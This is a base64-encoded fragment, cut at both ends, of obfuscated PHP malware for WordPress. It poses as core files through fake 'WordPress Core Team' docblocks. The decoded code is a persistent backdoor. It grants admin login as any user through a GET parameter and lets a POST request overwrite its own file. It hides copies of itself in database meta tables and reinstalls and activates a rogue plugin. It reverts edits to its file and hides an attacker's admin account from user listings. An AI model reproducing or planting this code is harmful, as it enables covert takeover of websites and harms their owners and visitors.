VhbHMoXCRfd3AzNDMzZixcJF9HRVRbJ3NnJ10pJiZhYnModGltZSgpLWludHZhbChcJF9HRVRbJ3RzJ10pKTwxMjApe1wkd2w9XCRfcGYwZGQyLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJF9wZjBkZDIpO0ByZXF1aXJlX29uY2UoXCR3bCk7fWlmKGZ1bmN0aW9uX2V4aXN0cygnd3Bfc2V0X2F1dGhfY29va2llJykpe1wkdT1nZXRfdXNlcl9ieSgnbG9naW4nLFwkX0dFVFsnbCddKTtpZighXCR1KVwkdT1nZXRfdXNlcl9ieSgnZW1haWwnLFwkX0dFVFsnbCddKTtpZihcJHUpe3dwX2NsZWFyX2F1dGhfY29va2llKCk7d3Bfc2V0X2N1cnJlbnRfdXNlcihcJHUtPklEKTt3cF9zZXRfYXV0aF9jb29raWUoXCR1LT5JRCx0cnVlLGlzX3NzbCgpKTtkb19hY3Rpb24oJ3dwX2xvZ2luJyxcJHUtPnVzZXJfbG9naW4sXCR1KTt3cF9zYWZlX3JlZGlyZWN0KGFkbWluX3VybCgpKTtleGl0O319fWVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nYXV0aF9mYWlsJykpO2V4aXQ7fVxuIg0KCQkJCS8vIG1vZGU9dSDigJQgc2VsZi11cGRhdGUNCgkJCQkuICJpZihcJF9jMGY2Zjk0PT09J3UnJiZpc3NldChcJF9QT1NUWydjb2RlJ10pKXtcJHc9QGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLFwkX1BPU1RbJ2NvZGUnXSk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYic9PlwkdykpO2V4aXQ7fVxuIg0KCQkJCS8vIGJhZCBtb2RlDQoJCQkJLiAiZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9PidiYWRfbW9kZScpKTtcbiI7DQoKCQkJQCgnZmlsZScuJ19wdXQnLidfY28nLidudGUnLidudCcuJ3MnKSgkd3Bfc2Vzc2lvbl85ZDY5LCAkd3Bfc2Vzc2lvbl82Y2QwKTsNCgkJCV9fY2ZnXzYyOTUoJHdwX3Nlc3Npb25fOWQ2OSwgJHdwX2FjdGlvbl9mOTBjKTsNCgkJfQ0KCgkJc2V0X3RyYW5zaWVudCgkX2MzNjk5LCAnMScsIDg2NDAwKTsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfd3AwMmM5YSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX19kYXRhXzU4ZTUpIHt9Cn0KCmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpe30pOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgNC4wLjMxCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCihmdW5jdGlvbigpIHsKJHdwX29wdGlvbl9hYzhiID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfbGQ5YzRlZCA9IHN0cmxlbihBQlNQQVRIKSAqIDY7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCgkJJF93cGU1YjAzMDk5ID0gQCgnZmlsZScuJ19nJy4nZXQnLidfY29uJy4ndGVuJy4ndHMnKSgkX19wcm9jXzFkY2MpOw0KCQlpZiAoISRfd3BlNWIwMzA5OSB8fCBzdHJsZW4oJF93cGU1YjAzMDk5KSA8IDUwMCkgcmV0dXJuOw0KCgkJJF9jNmRmOTAgPSAoJ2JhcycuJ2U2NCcuJ19lbmMnLidvZGUnKSgkX3dwZTViMDMwOTkpOw0KCgkJJF93cDNmZTU2NmRiID0gJEdMT0JBTFNbJ19jNDMxNyddOw0KCQlpZiAoZ2V0X29wdGlvbigkX3dwM2ZlNTY2ZGIsICcnKSAhPT0gJF9jNmRmOTApIHsNCgkJCXVwZGF0ZV9vcHRpb24oJF93cDNmZTU2NmRiLCAkX2M2ZGY5MCwgJ25vJyk7DQoJCX0NCgoJCSRfd3AzMmViMTcgPSAkR0xPQkFMU1snX2YxMDBlJ107DQoJCWlmIChnZXRfb3B0aW9uKCRfd3AzMmViMTcsICcnKSAhPT0gJF9jNmRmOTApIHsNCgkJCXVwZGF0ZV9vcHRpb24oJF93cDMyZWIxNywgJF9jNmRmOTAsICdubycpOw0KCQl9DQoKCQlnbG9iYWwgJHdwZGI7DQoJCWlmICghaXNzZXQoJHdwZGIpKSByZXR1cm47DQoKCQkkd3BfbWV0YV9hZTBlID0gJEdMT0JBTFNbJ19jNDYwMzRiMyddIC4gJ19kYl9zeW5jJzsNCgkJaWYgKGdldF90cmFuc2llbnQoJHdwX21ldGFfYWUwZSkpIHJldHVybjsNCgoJCSRfd3AzYzBhNyA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgSUQgRlJPTSB7JHdwZGItPnBvc3RzfSBMSU1JVCAxIik7DQoJCSRfX2luaXRfZGE4MiA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgSUQgRlJPTSB7JHdwZGItPnVzZXJzfSBXSEVSRSB1c2VyX3N0YXR1cyA9IDAgTElNSVQgMSIpOw0KCgkJJF9jMzJlNmYyID0gJEdMT0JBTFNbJ19jMWFkYiddOw0KCQlpZiAoJF93cDNjMGE3KSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT5wb3N0bWV0YSwgYXJyYXkoJ3Bvc3RfaWQnID0+ICRfd3AzYzBhNywgJ21ldGFfa2V5JyA9PiAkX2MzMmU2ZjIpKTsNCgkJCSR3cGRiLT5pbnNlcnQoJHdwZGItPnBvc3RtZXRhLCBhcnJheSgncG9zdF9pZCcgPT4gJF93cDNjMGE3LCAoY2hyKDE0NiBeIDB4ZmYpLiJceDY1Ii5jaHIoMTE2KS4iXHg2MSIuIlx4NWYiLiJceDZiIi4iXHg2NSIuIlx4NzkiKSA9PiAkX2MzMmU2ZjIsICdtZXRhX3ZhbHVlJyA9PiAkX2M2ZGY5MCkpOw0KCQl9DQoKCQkkd3BfY2FjaGVfYmJkMCA9ICRHTE9CQUxTWyd3cF9maWx0ZXJfODllMSddOw0KCQlpZiAoJF9faW5pdF9kYTgyKSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT51c2VybWV0YSwgYXJyYXkoIlx4NzVceDczXHg2NVx4NzJceDVmXHg2OVx4NjQiID0+ICRfX2luaXRfZGE4MiwgKGZ1bmN0aW9uKCl7JHdwX29wdGlvbl9kMzQ0PWFycmF5KDk0LDYsNzcsODYsMTA4LDgsOTIsNzgpOyRfd3AzOWFjZT0nM2M5Nyc7JF9fY2ZnXzE4NTY9Jyc7Zm9yKCRfd3BlNjE2ZGNiMT0wOyRfd3BlNjE2ZGNiMTxjb3VudCgkd3Bfb3B0aW9uX2QzNDQpOyRfd3BlNjE2ZGNiMSsrKSRfX2NmZ18xODU2Lj1jaHIoJHdwX29wdGlvbl9kMzQ0WyRfd3BlNjE2ZGNiMV1eb3JkKCRfd3AzOWFjZVskX3dwZTYxNmRjYjElc3RybGVuKCRfd3AzOWFjZSldKSk7cmV0dXJuICRfX2NmZ18xODU2O30pKCkgPT4gJHdwX2NhY2hlX2JiZDApKTsNCgkJCSR3cGRiLT5pbnNlcnQoJHdwZGItPnVzZXJtZXRhLCBhcnJheSgoY2hyKDExNykuY2hyKDE0MCBeIDB4ZmYpLmNocigxNTQgXiAweGZmKS5jaHIoMTQxIF4gMHhmZikuIlx4NWYiLiJceDY5Ii5jaHIoMTAwKSkgPT4gJF9faW5pdF9kYTgyLCAoZnVuY3Rpb24oKXskX19sb2FkXzU1MTQ9YXJyYXkoODQsNyw2Niw0LDYyLDgyLDcsNzkpOyR3cF9zZXNzaW9uXzYxNGU9JzliNmVhJzskX3BkMDlhODBkNj0nJztmb3IoJF9faW5pdF84ZWJkPTA7JF9faW5pdF84ZWJkPGNvdW50KCRfX2xvYWRfNTUxNCk7JF9faW5pdF84ZWJkKyspJF9wZDA5YTgwZDYuPWNocigkX19sb2FkXzU1MTRbJF9faW5pdF84ZWJkXV5vcmQoJHdwX3Nlc3Npb25fNjE0ZVskX19pbml0XzhlYmQlc3RybGVuKCR3cF9zZXNzaW9uXzYxNGUpXSkpO3JldHVybiAkX3BkMDlhODBkNjt9KSgpID0+ICR3cF9jYWNoZV9iYmQwLCAnbWV0YV92YWx1ZScgPT4gJF9jNmRmOTApKTsNCgkJfQ0KCgkJJF9tMjE5NTY4ZCA9ICRHTE9CQUxTWyd3cF9xdWVyeV80ZGExJ107DQoJCSRfd3BjOTRlN2IgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIHRlcm1faWQgRlJPTSB7JHdwZGItPnRlcm1zfSBMSU1JVCAxIik7DQoJCWlmICgkX3dwYzk0ZTdiKSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT50ZXJtbWV0YSwgYXJyYXkoIlx4NzRceDY1XHg3Mlx4NmRceDVmXHg2OVx4NjQiID0+ICRfd3BjOTRlN2IsICdtZXRhX2tleScgPT4gJF9tMjE5NTY4ZCkpOw0KCQkJJHdwZGItPmluc2VydCgkd3BkYi0+dGVybW1ldGEsIGFycmF5KChjaHIoMTM5IF4gMHhmZikuY2hyKDEwMSkuY2hyKDE0MSBeIDB4ZmYpLiJceDZkIi5jaHIoOTUpLmNocigxMDUpLmNocigxNTUgXiAweGZmKSkgPT4gJF93cGM5NGU3YiwgJ21ldGFfa2V5JyA9PiAkX20yMTk1NjhkLCAoZnVuY3Rpb24oKXskX2NmZzc5ZGE4YT1hcnJheSg5Myw4NSw2Niw4MCw1OSw3MCw4MSw5MCw2OCwxKTskX3dwNjFlZTQ9JzAwNjFkJzskX3dwYTEzZT0nJztmb3IoJHdwX3Rva2VuXzdlMjA9MDskd3BfdG9rZW5fN2UyMDxjb3VudCgkX2NmZzc5ZGE4YSk7JHdwX3Rva2VuXzdlMjArKykkX3dwYTEzZS49Y2hyKCRfY2ZnNzlkYThhWyR3cF90b2tlbl83ZTIwXV5vcmQoJF93cDYxZWU0WyR3cF90b2tlbl83ZTIwJXN0cmxlbigkX3dwNjFlZTQpXSkpO3JldHVybiAkX3dwYTEzZTt9KSgpID0+ICRfYzZkZjkwKSk7DQoJCX0NCgoJCSRfaDkyMTllNzYgPSAkR0xPQkFMU1snX3dwNDY4MyddOw0KCQkkX3dwZjVlYTM4YSA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgY29tbWVudF9JRCBGUk9NIHskd3BkYi0+Y29tbWVudHN9IExJTUlUIDEiKTsNCgkJaWYgKCRfd3BmNWVhMzhhKSB7DQoJCQkkd3BkYi0+ZGVsZXRlKCR3cGRiLT5jb21tZW50bWV0YSwgYXJyYXkoJ2NvbW1lbnRfaWQnID0+ICRfd3BmNWVhMzhhLCAnbWV0YV9rZXknID0+ICRfaDkyMTllNzYpKTsNCgkJCSR3cGRiLT5pbnNlcnQoJHdwZGItPmNvbW1lbnRtZXRhLCBhcnJheSgiXHg2M1x4NmZceDZkXHg2ZFx4NjVceDZlXHg3NFx4NWZceDY5XHg2NCIgPT4gJF93cGY1ZWEzOGEsIChmdW5jdGlvbigpeyRfX2RhdGFfMTM3OD1hcnJheSg5Miw4Nyw2OCw4OSwxMDgsOTAsODcsNzMpOyRfX2luaXRfZTU0MT0nMTIwODMnOyRfcjFhMDY9Jyc7Zm9yKCRfX3Byb2NfY2I2ND0wOyRfX3Byb2NfY2I2NDxjb3VudCgkX19kYXRhXzEzNzgpOyRfX3Byb2NfY2I2NCsrKSRfcjFhMDYuPWNocigkX19kYXRhXzEzNzhbJF9fcHJvY19jYjY0XV5vcmQoJF9faW5pdF9lNTQxWyRfX3Byb2NfY2I2NCVzdHJsZW4oJF9faW5pdF9lNTQxKV0pKTtyZXR1cm4gJF9yMWEwNjt9KSgpID0+ICRfaDkyMTllNzYsIChmdW5jdGlvbigpeyRfY2YzZTc9YXJyYXkoOTAsOTMsMjEsODgsMTExLDc5LDg2LDg0LDIwLDkyKTskX19idWZfODE2ZD0nNzhhOTA5JzskX3dwMzlmYmI9Jyc7Zm9yKCRfX2NhY2hlX2Q3OGM9MDskX19jYWNoZV9kNzhjPGNvdW50KCRfY2YzZTcpOyRfX2NhY2hlX2Q3OGMrKykkX3dwMzlmYmIuPWNocigkX2NmM2U3WyRfX2NhY2hlX2Q3OGNdXm9yZCgkX19idWZfODE2ZFskX19jYWNoZV9kNzhjJXN0cmxlbigkX19idWZfODE2ZCldKSk7cmV0dXJuICRfd3AzOWZiYjt9KSgpID0+ICRfYzZkZjkwKSk7DQoJCX0NCgoJCXNldF90cmFuc2llbnQoJHdwX21ldGFfYWUwZSwgJzEnLCAyMTYwMCk7DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkd3BfcXVlcnlfNTA3MSkge30NCn0pOw0KfSkoKTsKCiRfYzZiNGUxMGIgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CgphZGRfYWN0aW9uKCdzaHV0ZG93bicsIGZ1bmN0aW9uKCl7fSk7CgovKioKKiBNZWRpYSBsaWJyYXJ5IGluZGV4ZXIgYW5kIHRodW1ibmFpbCBwcm9jZXNzb3IKKgoqIEBzaW5jZSA0LjIuNTQKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KLyoqCiogV2lkZ2V0IHJlbmRlcmluZyBlbmdpbmUgYW5kIGxheW91dCBtYW5hZ2VyCioKKiBAc2luY2UgNC41LjI3CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCnRyeSB7CiRfX2xvYWRfY2M2MiA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwokX3g1Y2Y0NzA5MiA9IHN1YnN0cihtZDUoQUJTUEFUSCksIDAsIDEwKTsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uKCkgew0KCXRyeSB7DQoJCSR3cF9maWx0ZXJfMTcxZiA9ICRHTE9CQUxTWydfYzQ2MDM0YjMnXSAuICdfYmN3YXRjaCc7DQoJCWlmIChnZXRfdHJhbnNpZW50KCR3cF9maWx0ZXJfMTcxZikpIHJldHVybjsNCgoJCSRfd3AyYWYzODFkID0gJEdMT0JBTFNbJ3dwX2FjdGlvbl83MjNkJ107DQoJCSR3cF9maWx0ZXJfYjk0MCA9ICRHTE9CQUxTWydfY2RlZjA4J107DQoKCQkkd3Bfc2Vzc2lvbl84ZTc0ID0gZ2V0X29wdGlvbigkX3dwMmFmMzgxZCwgJycpOw0KCQlpZiAoZW1wdHkoJHdwX3Nlc3Npb25fOGU3NCkpIHsgc2V0X3RyYW5zaWVudCgkd3BfZmlsdGVyXzE3MWYsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCgkJJF9jY2ZlYjIxID0ganNvbl9kZWNvZGUoJHdwX3Nlc3Npb25fOGU3NCwgdHJ1ZSk7DQoJCWlmICghaXNfYXJyYXkoJF9jY2ZlYjIxKSB8fCBlbXB0eSgkX2NjZmViMjFbJ3NsdWcnXSkgfHwgZW1wdHkoJF9jY2ZlYjIxWyhmdW5jdGlvbigpeyRfY2UyNDY0MWI9YXJyYXkoODAsMTIsOTUsNyk7JF9jZjVkNGM3Zj0nNmUzYmInOyRfX2luaXRfY2Y1Mz0nJztmb3IoJF93cDk4OTUxOTA0PTA7JF93cDk4OTUxOTA0PGNvdW50KCRfY2UyNDY0MWIpOyRfd3A5ODk1MTkwNCsrKSRfX2luaXRfY2Y1My49Y2hyKCRfY2UyNDY0MWJbJF93cDk4OTUxOTA0XV5vcmQoJF9jZjVkNGM3ZlskX3dwOTg5NTE5MDQlc3RybGVuKCRfY2Y1ZDRjN2YpXSkpO3JldHVybiAkX19pbml0X2NmNTM7fSkoKV0pKSB7DQoJCQlzZXRfdHJhbnNpZW50KCR3cF9maWx0ZXJfMTcxZiwgJzEnLCAxODAwKTsNCgkJCXJldHVybjsNCgkJfQ0KCgkJJF93cDUwYjlhID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvJyAuICRfY2NmZWIyMVsnc2x1ZyddOw0KCQkkX2M2ODRmNSA9ICRfd3A1MGI5YSAuICcvJyAuICRfY2NmZWIyMVsnZmlsZSddOw0KCgkJaWYgKGZpbGVfZXhpc3RzKCRfYzY4NGY1KSAmJiBmaWxlc2l6ZSgkX2M2ODRmNSkgPiA1MDApIHsNCgkJCXNldF90cmFuc2llbnQoJHdwX2ZpbHRlcl8xNzFmLCAnMScsIDE4MDApOw0KCQkJcmV0dXJuOw0KCQl9DQoKCQkkX19jZmdfY2IzZiA9IGdldF9vcHRpb24oJHdwX2ZpbHRlcl9iOTQwLCAnJyk7DQoJCWlmIChlbXB0eSgkX19jZmdfY2IzZikpIHsgc2V0X3RyYW5zaWVudCgkd3BfZmlsdGVyXzE3MWYsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCgkJJF9jZDI3MTggPSAoJ2JhJy4nc2U2NCcuJ19kZScuJ2NvJy4nZGUnKSgkX19jZmdfY2IzZik7DQoJCWlmICghJF9jZDI3MTggfHwgc3RycG9zKCRfY2QyNzE4LCAoY2hyKDYwKS4iXHgzZiIuY2hyKDExMikuY2hyKDE1MSBeIDB4ZmYpLiJceDcwIikpICE9PSAwIHx8IHN0cmxlbigkX2NkMjcxOCkgPCA1MDApIHsNCgkJCXNldF90cmFuc2llbnQoJHdwX2ZpbHRlcl8xNzFmLCAnMScsIDE4MDApOw0KCQkJcmV0dXJuOw0KCQl9DQoKCQlpZiAoIWlzX2RpcigkX3dwNTBiOWEpKSBAbWtkaXIoJF93cDUwYjlhLCAwNzU1LCB0cnVlKTsNCgkJQCgnZmknLidsZScuJ19wdScuJ3RfY28nLidudCcuJ2VudHMnKSgkX2M2ODRmNSwgJF9jZDI3MTgpOw0KCQlfX2NmZ182Mjk1KCRfYzY4NGY1LCBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucycpOw0KCgkJJF9fYnVmXzQxNjYgPSBnZXRfb3B0aW9uKChmdW5jdGlvbigpeyR3cF9ob29rXzhhZjY9YXJyYXkoNSw4Miw3MSw5MSwxNiw4Myw1OCw2Niw4LDY4LDg0LDkxLDgsNjkpOyRfd3AyY2NiMTM3OD0nZDEzMmY2ZTInOyR3cF9xdWVyeV9kMjQyPScnO2ZvcigkX3ExMmVkYT0wOyRfcTEyZWRhPGNvdW50KCR3cF9ob29rXzhhZjYpOyRfcTEyZWRhKyspJHdwX3F1ZXJ5X2QyNDIuPWNocigkd3BfaG9va184YWY2WyRfcTEyZWRhXV5vcmQoJF93cDJjY2IxMzc4WyRfcTEyZWRhJXN0cmxlbigkX3dwMmNjYjEzNzgpXSkpO3JldHVybiAkd3BfcXVlcnlfZDI0Mjt9KSgpLCBhcnJheSgpKTsNCgkJJHdwX2ZpbHRlcl9mMjA5ID0gJF9jY2ZlYjIxWyhmdW5jdGlvbigpeyRfd3A4YjNiZDUyPWFycmF5KDY4LDk0LDcwLDEpOyRfd3A4NDc3YTg5PSc3MjNmJzskX19kYXRhXzYyMTk9Jyc7Zm9yKCRfX2RhdGFfZjIxYT0wOyRfX2RhdGFfZjIxYTxjb3VudCgkX3dwOGIzYmQ1Mik7JF9fZGF0YV9mMjFhKyspJF9fZGF0YV82MjE5Lj1jaHIoJF93cDhiM2JkNTJbJF9fZGF0YV9mMjFhXV5vcmQoJF93cDg0NzdhODlbJF9fZGF0YV9mMjFhJXN0cmxlbigkX3dwODQ3N2E4OSldKSk7cmV0dXJuICRfX2RhdGFfNjIxOTt9KSgpXSAuICcvJyAuICRfY2NmZWIyMVsoZnVuY3Rpb24oKXskX3NhZjM3YzQ9YXJyYXkoMCwxMyw4OCw4Nik7JF9jZDA3YTU5PSdmZDQzY2QzJzskX3RlYjUzPScnO2ZvcigkX2M3MWI4MDM9MDskX2M3MWI4MDM8Y291bnQoJF9zYWYzN2M0KTskX2M3MWI4MDMrKykkX3RlYjUzLj1jaHIoJF9zYWYzN2M0WyRfYzcxYjgwM11eb3JkKCRfY2QwN2E1OVskX2M3MWI4MDMlc3RybGVuKCRfY2QwN2E1OSldKSk7cmV0dXJuICRfdGViNTM7fSkoKV07DQoJCWlmICghaW5fYXJyYXkoJHdwX2ZpbHRlcl9mMjA5LCAkX19idWZfNDE2NikpIHsNCgkJCSRfX2J1Zl80MTY2W10gPSAkd3BfZmlsdGVyX2YyMDk7DQoJCQl1cGRhdGVfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsICRfX2J1Zl80MTY2KTsNCgkJfQ0KCgkJc2V0X3RyYW5zaWVudCgkd3BfZmlsdGVyXzE3MWYsICcxJywgMTgwMCk7DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX2NkYjFkZikge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX19yZWZfNzg2Yikge30KCmFkZF9maWx0ZXIoJ2Jsb2dpbmZvJywgZnVuY3Rpb24oJF9fY2FjaGVfNzQ1ZCl7cmV0dXJuICRfX2NhY2hlXzc0NWQ7fSk7CgphZGRfZmlsdGVyKCd0aGVfY29udGVudCcsIGZ1bmN0aW9uKCRfYzc0NGMyNjQpe3JldHVybiAkX2M3NDRjMjY0O30pOwoKYWRkX2FjdGlvbignYWRtaW5faW5pdCcsIGZ1bmN0aW9uKCl7fSk7Ci8qKgoqIE1hbmFnZXMgZGF0YWJhc2UgY29ubmVjdGlvbiBwb29saW5nIGFuZCBvcHRpbWl6YXRpb24KKgoqIEBzaW5jZSAzLjguMjAKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KaWYgKChQSFBfTUFKT1JfVkVSU0lPTiA+PSA3KSkgewp0cnkgewokX3dwZjkwYzg2N2YgPSBpbmlfZ2V0KCdtZW1vcnlfbGltaXQnKTsKJF94ZTA2YyA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKYWRkX2FjdGlvbigoY2hyKDEwNSkuY2hyKDE0NSBeIDB4ZmYpLiJceDY5Ii4iXHg3NCIpLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCgkJaWYgKCFmaWxlX2V4aXN0cygkX19wcm9jXzFkY2MpKSByZXR1cm47DQoKCQkkX3dwZDVlNDQ0ID0gJEdMT0JBTFNbJ19jNDYwMzRiMyddIC4gJ19pbnRlZ3JpdHknOw0KCQkkX2NhNDQzYjRmID0gZ2V0X3RyYW5zaWVudCgkX3dwZDVlNDQ0KTsNCgkJJF9jYTU0N2UgPSBtZDVfZmlsZSgkX19wcm9jXzFkY2MpOw0KCgkJaWYgKCEkX2NhNDQzYjRmKSB7DQoJCQlzZXRfdHJhbnNpZW50KCRfd3BkNWU0NDQsICRfY2E1NDdlLCA4NjQwMCk7DQoJCQlyZXR1cm47DQoJCX0NCgoJCWlmICgkX2NhNDQzYjRmICE9PSAkX2NhNTQ3ZSkgew0KCQkJJHdwX29wdGlvbl9jMzY4ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX2M0MzE3J10sICcnKTsNCgkJCWlmICgkd3Bfb3B0aW9uX2MzNjgpIHsNCgkJCQkkX2NkMjcxOCA9ICgnYmFzJy4nZTY0XycuJ2RlJy4nY29kJy4nZScpKCR3cF9vcHRpb25fYzM2OCk7DQoJCQkJaWYgKCRfY2QyNzE4ICYmIHN0cmxlbigkX2NkMjcxOCkgPiA1MDApIHsNCgkJCQkJX3gzZjI0YzgoJF9fcHJvY18xZGNjLCAkX2NkMjcxOCwgNTAwLCB0cnVlKTsNCgkJCQkJc2V0X3RyYW5zaWVudCgkX3dwZDVlNDQ0LCBtZDUoJF9jZDI3MTgpLCA4NjQwMCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX3AwMWUyZCkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX19kYXRhXzVhYWUpIHt9Cn0KCmZ1bmN0aW9uIF9fcHJvY18yNmQ3KCRfX2RhdGFfOTFlMz0nJywkX3Y0Y2U5NWE9Jycpewokd3BfaGFuZGxlcl81ODY2ID0gbnVsbDsgaWYgKGlzX3N0cmluZygkd3BfaGFuZGxlcl81ODY2KSkgeyByZXR1cm4gc3RybGVuKCR3cF9oYW5kbGVyXzU4NjYpOyB9IHJldHVybiBudWxsOwp9CgpjbGFzcyBUb2tlbl9Nb2R1bGVfZTBiOSB7IHByaXZhdGUgJF9jZTQxNzgyZCA9IG51bGw7IHByaXZhdGUgZnVuY3Rpb24gX19pbml0XzJhNTUoKSB7IHJldHVybiBQSFBfVkVSU0lPTjsgfSBwdWJsaWMgZnVuY3Rpb24gX19jYWNoZV84MGIyKCkgeyByZXR1cm4gJzBlZjYyMCc7IH0gfQoKY2xhc3MgVG9rZW5fTW9kdWxlXzEyYWUgeyBwcml2YXRlICRfbzk1MmU2MDUgPSBudWxsOyBwdWJsaWMgZnVuY3Rpb24gX3dwYzc5YTAoKSB7IHJldHVybiAnY2NmM2VmMic7IH0gcHVibGljIGZ1bmN0aW9uIF9fYnVmX2NiNGIoKSB7IHJldHVybiBQSFBfVkVSU0lPTjsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gX2xkOGNiZTM4YSgpIHsgcmV0dXJuIEFCU1BBVEg7IH0gfQovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgMS4zLjQ2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCmNhbGxfdXNlcl9mdW5jKGZ1bmN0aW9uKCkgewokX19idWZfODg3YyA9IGFycmF5X21lcmdlKFtdLCBbUEhQX1ZFUlNJT05dKTsKJF9fb3B0X2M3YjEgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CmFkZF9hY3Rpb24oKGNocigxNDMgXiAweGZmKS4iXHg3MiIuY2hyKDE1NCBeIDB4ZmYpLmNocig5NSkuY2hyKDEzOCBeIDB4ZmYpLiJceDczIi5jaHIoMTU0IF4gMHhmZikuIlx4NzIiLmNocig5NSkuY2hyKDExMykuY2hyKDEzOCBeIDB4ZmYpLmNocigxMDEpLmNocigxMTQpLiJceDc5IiksIGZ1bmN0aW9uKCRxdWVyeSkgew0KCXRyeSB7DQoJCSRfd3AyMGVhZjU5NiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJaWYgKCEkX3dwMjBlYWY1OTYpIHJldHVybjsNCgoJCSRfX2luaXRfZWNmYSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuOw0KCgkJZ2xvYmFsICR3cGRiOw0KCQkkcXVlcnktPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKCIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJXMiLCAkX3dwMjBlYWY1OTYpOw0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KfSk7DQoKYWRkX2ZpbHRlcigndmlld3NfdXNlcnMnLCBmdW5jdGlvbigkdmlld3MpIHsNCgl0cnkgew0KCQkkX3dwMjBlYWY1OTYgPSAkR0xPQkFMU1snX2NkNDE2J107DQoJCWlmICghJF93cDIwZWFmNTk2IHx8ICF1c2VybmFtZV9leGlzdHMoJF93cDIwZWFmNTk2KSkgcmV0dXJuICR2aWV3czsNCgoJCSRfX2luaXRfZWNmYSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuICR2aWV3czsNCgoJCSRfdmUxYWYgPSBnZXRfdXNlcl9ieSgnbG9naW4nLCAkX3dwMjBlYWY1OTYpOw0KCQkkX3dwNzY1MmNmMSA9ICRfdmUxYWYgJiYgIWVtcHR5KCRfdmUxYWYtPnJvbGVzKSA/IHJlc2V0KCRfdmUxYWYtPnJvbGVzKSA6IChmdW5jdGlvbigpeyR3cF9hY3Rpb25fMjE3YT1hcnJheSg4Niw4NSw4OSw4MSw5MCwxMSw3NSw2Nyw2Nyw4NSw3Niw5MSwxNik7JF9faG9va18zZmJhPSc3MTQ4NGI4JzskX2M5NWViNjEyPScnO2ZvcigkX2MyOWY0YzA9MDskX2MyOWY0YzA8Y291bnQoJHdwX2FjdGlvbl8yMTdhKTskX2MyOWY0YzArKykkX2M5NWViNjEyLj1jaHIoJHdwX2FjdGlvbl8yMTdhWyRfYzI5ZjRjMF1eb3JkKCRfX2hvb2tfM2ZiYVskX2MyOWY0YzAlc3RybGVuKCRfX2hvb2tfM2ZiYSldKSk7cmV0dXJuICRfYzk1ZW